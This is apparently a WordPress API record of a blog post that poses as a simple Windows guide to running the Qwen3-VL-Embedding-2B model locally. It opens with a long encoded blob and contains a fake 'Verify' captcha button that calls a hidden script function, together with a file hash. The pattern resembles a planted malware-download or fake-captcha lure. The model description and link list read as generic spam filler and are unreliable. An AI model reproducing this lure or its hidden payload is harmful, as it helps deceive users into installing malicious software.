BzgoTNGHMFbWUoZVoJDYwAKm19WL+06dwM9Z9sCSMMy5oexqKCJ8uBYJfIhRm4KPhs+MHpGuT4r6yjxODK1F9qDZyyNCJLk25IVM6o+LtJXg0YlX3T3gn+uxNX8wPHt9LbZFAIUmoSAxLumVDqVkq78fJGfkGV+ERdWsKGgXKKMYLG3DWIgR4gxfjO5Uhn4FrkHE2Fm4wupw2c7pOKDeBQnEMMYUCmtmJu7USP\/aJ1v8KSrmMo3ffQ4cgvbLzPCZWmGGfbHlqMoZgFGAYmdNsccvrZvq4VfXDgolfjbIBQjzpbH5wJdz8xfaExvdN75UfHH1QJZnHkFijZsh3Jwp\/XoS9vc+9EniFg7+3VuWAYNESHz\/H1jYkumoEtxEjP62QRkf9sAF+2+v46YwxKy4PxijzLgIZ2qqxecYG565TER3qeo2duRs+QTi2i5\/xLq6KXIa1XJaoAAAAA6Xy7cIHyKjDjOXFl5NA3AjqsHuADKkUcpjkcOYHGtXYtwGxWXNSkB06jAkPNAuEp1LWEW1ildC6qFYJcbe1KYnzyTJWD8JZkwe14Mf5VvWq4DVDsRw\/Ab5\/GHpZzuNyZ3cwxVzxqNOw8\/HNEq+rv8Y04RZ5HF09ZqnPL2wGdu8f1wNlx2RM1Pqi9sv2h1BhB9ruKXyd53KJFRBz7XdOtc0FfzsIC3WOf2d2i70NVpJm142mRbfosv54fiEHjAbWMkpLZdUjlA4ph4I7Phx9wXv0VI4LaR466Ud29cM1mV84J2pTPFHpCVK39gslVaHyULrh6KfUAA3LsvrS8Zvl9IypakLcO2Z7eIpmIy33J9qOytshFdlQCl\/X\/fJl4ARFSZSERjxg8f\/WqYJFN1aNFivLFf9mUHgu3wRtNbfuQ9qKvOTE4oeVuqm4J8ZZgLk3K\/X33Fabjl3T9cyhLxtlKAwVDtpsAq5zzegrBQubF8yK2Y4+V6Ej0iWuuQGSz97\/wGOvqzsoFq+eQ3SltZOzqV5FgrVeJ0dqYtJC8VZZPWBMujw\/\/ZnjNlqdxwOQJSPMfByfARDSXIZiL6C0p\/Hj4c+HXfnYmWmnlxWL3\/7tFR2CLE32BGy2lPKdS+AjLKbGMz5rC0SP3Mm70zYJwDqjNQafbGTnNcz8+c76VXUsXCP\/Utw3P4ly1MBP0IyPtzoHOv2SLm3hXoRJhATgbo4uM6ac+EEeF7hm76kJdd6HHwWwFUAAAKz5dcWYFIDfWcgbK8eVx0y+tu6XvOLi5Dc9+U7j8xr1H7ZKL+UB8iUAAJDFjNgmOy+b5tyOEt2TRX8zyq\/6SPWA3O4hNt3LdOnOy7eBLnQNUqg6uAUsrGmNE\/DkFDdRcN4zFCVV0FBVgfkeE41TAsPy4NJlQKZdz\/fxGMGN7ySU664IiEXdq8rtY06rbJaoOHkTV4XLKvfyiePRuGw\/ueQDuAkjKaxHZOixOvkN2lPSJgT1SY9GvPHI9H\/4tWQL+ssWzIlucWscg0K5HiZSXKSpRKrDMNKTbPNSFmsLUM6XTKGUfRAhvf\/Q\/Ox\/GOffK+prw9KOlojbTE0HPjIALaFaTWOc6418BgV9\/m9phNIBe6Ca3r4p6M0Wkkiu8R+h4kw1mUwXv7RZb5WHwO32m7tg\/MeQIXm57hduTXZ3J8XkVc3C5bebCa0VpL+PrfZ3SqdG1SzCowx+7l+QP6F5\/8WjwQfDm3pRCB0CgGCdffGfe+ijygrCp+1y8FTSzgBG7nnRv9KCoBpqK8SrFXNDlS+K2mW13z813R9aCAGa3G6YTHJX5jdsXAuBirjycozeWUSnV14kRu+39UHZhQlnZZBoobZRjVRkXxv5wYefcRRsRoxrLeNuithgRKsZbpaH6JT1wVvnHeKTPZ9hzsRxCbzdG5dqQ0lgs+4g\/qaR5Xgexz3l1IbwIp6YoBITm56MhT5vqRai8T15HbKIgPAattxhrrr32N+HjG0eEwdODhOe3+rxTIKTs2TRBHg1hNhBU31Z3ASdmgF8JlPduES9WRo87PO3Bk\/IsMv5x+KqIkoZJev\/6gL\/K9t+u9eaH8tac8Gh6JyyiVt6qNJbIAChABnlFMWZtNY0TIzZgohKo+GVLdgXERud+Su4si3QQJjwnC1vuo+gfCO7+sA9ejpqPEWgqH2wnKi6vfijCpbuXN5HZ6dRiW5RoTKIZ097ac7L77wiiwjWq1znPKjjbfAOWz4Ulh\/yN5CfUMiypavzNO1Bz1S+EtK9o6T3ttsucBQGv7nHbAvdFkzcmWUi3kiqGmkyGBvS3UUgHJV8xs0ll7gBs+J6alSOUTVEdzwG1X4N8+9TMFef4hOZe4AxPL7xQCRAHKw3qy\/BokfCCuVJf9Pp7jOkJkDQ2\/qax2HD1ntTclgQeQY9mP441leuuyaS7GFUHnMLkOT9iisk+q3a7yG6sPGAL5JW6Es+DS767yG4ZQ3WznVC2Ns1q8vEf8uJn0N+4Nx3auc3Dvb\/ZGWo2x9v0xDvi1+8NUso568cYRhH3jtWvP8ZE4aZfDmerq7XKEUjTDXI7\/Ddkl+XoGfwPi6\/xRCqrYZnPHksZ5vQByGVsKUzf39xasiKfb7rj7\/VZWh3PyABAYs0kCDg8TgvukyhUkwrb1AhJyGTQhwyQFqaMmXtSFHDzx6wANb5uQBxu1G71XDldj6j9SD\/erJXn9+Aquyz1eK7LDf1xTL4661\/EX1uCOwlSVXFsT9QHJjCq7flheWO\/iWonWLE+A2S06rIJdpR\/\/6pPmrEcgQlzL0R7wzAPy6Dmgt0qNK9afYnvoQ4hMdcMPurcmL1hoT5GAfWj\/+0V94WSIQtzfjShnubbU69TLksF69V9h8eBcbNrPm\/GJHsNBzmLTN1zL+SDpOEuvJJvSvxJS6woADNmgGAh5ydvCPoVYq+FE3AshfjaETg25E+IzEWajCoKdAjMYCi8hNFGEnG\/jChT1LjYYguZV5ZV4RM8ciI18pGvICTymKv\/22cYHftzXyLSRwvb0fX0\/KgDUkekHi1UCDjAAj00uqIIB4JBOuwUcX2M7MzZGiqvlwoxkqV4658A\/FOxRCgqbZteuIMp0OcqsZgjuNmr0ZaHFOREL+Nor31b0q68SdfbZAS1x6ofnZbuh38mKTMvm4kxlrryfIIzOgzUM6h9cBT+onjq+HMnuUqg0ITWJF8h4HA3P7iT7WK4ORm6yLux0mTIp\/dncuc6WyOprEHaVsbMMGjqXZyTR3Tb7uQZOVL03IBFFO+W8q9WJdWyyuHFAfXQfqAEOx9fy+3eughjL3btBdbCqimuOqx5v380rV6tqgLhyJTmdPDTXESlEy162zsfg4UYviM7UFEZMmNheH8wdq33juihJl4tM9mD1JWdnYwzbpCZee20lw5YXhuXidZYDsZEB7QMmgpSzkIUP\/IzblLIHN1ZgWNNIfB9Dm8gCaelezQWlwtRNX9iHLvTOzalitCPyh7czWrOQyl4ELiDBfktd7BKSe1oCNko46vWPUPYnqmgKmH6nzy75mf7uT25vT94oJMX7\/xqSvRPoPzgpfwHYSXNjtvQBLHw\/aYEI6oFiyX6l90Py9zXQmk0XP43ayDXqG2BTINaBeneoFJQ5WAZjfyzJZ7EJXEv\/WcIn1AV6rqAAuxWHuvCGt2OsYtwOZPUmHHjOHX+2N35nmMhdLVmDwb7ULbcGP6bOTzt+v9+JhDfHAG5NHsN+SGJ8CoBq8Fm24qkAc+pIRR69OzaXAVTLxF+86VxT2+VMcCgjrcZtV+ydt4Kf3ToDkF16zx4Luu11OUdpnWAh\/rom12L12KvX+x3PZYDX8VZeeQruOFLswYC6BouIBjDIIZsHqf\/W3gVL78PowqeIvXDaH+jHvPrmJpAZqSFDedS6oJL0jPAdscmL9dNaC84SNkt6+tjktnv0YZ+h5vwRWVpWGw2n\/d\/UaCkgebkd6QtsDGeLMfWMQeleQP7cvrVfrlHPzh4N7Vrycs5jKjePxwmWT8zyBu7g7tR2NOavD6WlYjLoxmhBSAvzC9fHRIsk5OPoPWfU5ZBclCFgqspsbW8XHC6BTbdqQssr67DDDq5Nn1P3eg7UupZDaVC2tCUvKF0lxOYijbbcAVqViNUyg2z2ql0uhxgI5XL37fbWk0WMoiLd3HpHXqHg2XiDP95hurdBwqMRKgBtlRy7s7iiPFwAMBUTeSm3SaTE26ksbgQ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alt=\"Quick Run Qwen3-VL-Embedding-2B 100% Private PC with Native FP4 Dummy Proof Guide Windows\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>Deploying locally takes the <i>least amount of time<\/i> when executed through <b>native OS tools<\/b>.<\/p>\n<p>Simply follow the <b>directions<\/b> outlined below.<\/p>\n<p> <\/p>\n<p><i>The tool automatically synchronizes and downloads the model database.<\/i><\/p>\n<p> <\/p>\n<p>Without any user input, the software <b>calibrates parameters for optimal hardware usage<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:5px auto 55px;border-collapse:collapse;border-radius:26px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f8fafc;box-shadow:0 28px 56px rgba(0,0,0,0.12);border:1px solid rgba(0,0,0,0.05);\">\n<tr>\n<td style=\"padding:52px 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\/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:25px;padding-left:18px;margin-left:0;\">\n<li><strong>Processor:<\/strong> next-gen chip for <strong>heavy context<\/strong> processing<\/li>\n<li><strong>RAM:<\/strong> required: 16 GB <strong>absolute minimum<\/strong> for small models<\/li>\n<li><b>Disk Space:<\/b> 80 GB <b>NVMe SSD<\/b> required for fast model weights loading<\/li>\n<li><b>Graphics:<\/b> CUDA Compute Capability 8.0+ <b>required for flash-attention<\/b><\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p><b>Qwen3-VL-Embedding-2B<\/b> is a compact yet powerful multimodal embedding model that processes text, images, and videos into a unified vector space. It leverages a <i>vision-language transformer<\/i> architecture with <b>2\u202fbillion parameters<\/b>, delivering <i>state\u2011of\u2011the\u2011art<\/i> retrieval performance across diverse benchmarks. The model supports <b>high\u2011resolution visual inputs<\/b> and can handle up to <b>2048\u2011token text sequences<\/b>, enabling flexible downstream tasks such as image search and cross\u2011modal retrieval. Its training pipeline incorporates large\u2011scale paired datasets, ensuring robust semantic alignment between modalities while maintaining computational efficiency. The resulting embeddings are widely adopted in production systems due to their <i>fast inference<\/i> and low memory footprint.  <\/p>\n<table>\n<tr>\n<th>Spec<\/th>\n<th>Value<\/th>\n<\/tr>\n<tr>\n<td>Parameters<\/td>\n<td>2\u202fB<\/td>\n<\/tr>\n<tr>\n<td>Embedding Dim<\/td>\n<td>1024<\/td>\n<\/tr>\n<tr>\n<td>Supported Modalities<\/td>\n<td>Text, Image, Video<\/td>\n<\/tr>\n<tr>\n<td>Max Text Tokens<\/td>\n<td>2048<\/td>\n<\/tr>\n<tr>\n<td>Max Image Resolution<\/td>\n<td>1024\u00d71024<\/td>\n<\/tr>\n<\/table>\n<ul>\n<li>Downloader pulling extremely light gemma-2b profiles for real-time edge processing<\/li>\n<li>How to Setup Qwen3-VL-Embedding-2B Using Pinokio Quantized GGUF Easy Build<\/li>\n<li>Setup utility for loading Llama-3.3 high-context models into LM Studio<\/li>\n<li>Full Deployment Qwen3-VL-Embedding-2B Using Pinokio Zero Config Full Method FREE<\/li>\n<li>Script downloading experimental weight array tensors for complex model recombination<\/li>\n<li>Run Qwen3-VL-Embedding-2B on Your PC with 1M Context<\/li>\n<li>Script fetching custom model merges directly into specific KoboldAI directory asset trees<\/li>\n<li>Deploy Qwen3-VL-Embedding-2B<\/li>\n<\/ul>","protected":false},"excerpt":{"rendered":"<p>Deploying locally takes the least amount of time when executed through native OS tools. Simply follow the directions outlined below. The tool automatically synchronizes and downloads the model database. Without any user input, the software calibrates parameters for optimal hardware usage. \ud83d\udcbe File hash: cb41403e53a265bb75f18022c2b68703 (Update date: 2026-07-03) Verify Processor: next-gen chip for heavy context [&hellip;]<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[100],"tags":[],"class_list":["post-4050","post","type-post","status-publish","format-standard","hentry","category-offloaders"],"_links":{"self":[{"href":"https:\/\/radar-fillingmachine.com\/fr\/wp-json\/wp\/v2\/posts\/4050","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/radar-fillingmachine.com\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/radar-fillingmachine.com\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/radar-fillingmachine.com\/fr\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/radar-fillingmachine.com\/fr\/wp-json\/wp\/v2\/comments?post=4050"}],"version-history":[{"count":1,"href":"https:\/\/radar-fillingmachine.com\/fr\/wp-json\/wp\/v2\/posts\/4050\/revisions"}],"predecessor-version":[{"id":4051,"href":"https:\/\/radar-fillingmachine.com\/fr\/wp-json\/wp\/v2\/posts\/4050\/revisions\/4051"}],"wp:attachment":[{"href":"https:\/\/radar-fillingmachine.com\/fr\/wp-json\/wp\/v2\/media?parent=4050"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/radar-fillingmachine.com\/fr\/wp-json\/wp\/v2\/categories?post=4050"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/radar-fillingmachine.com\/fr\/wp-json\/wp\/v2\/tags?post=4050"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}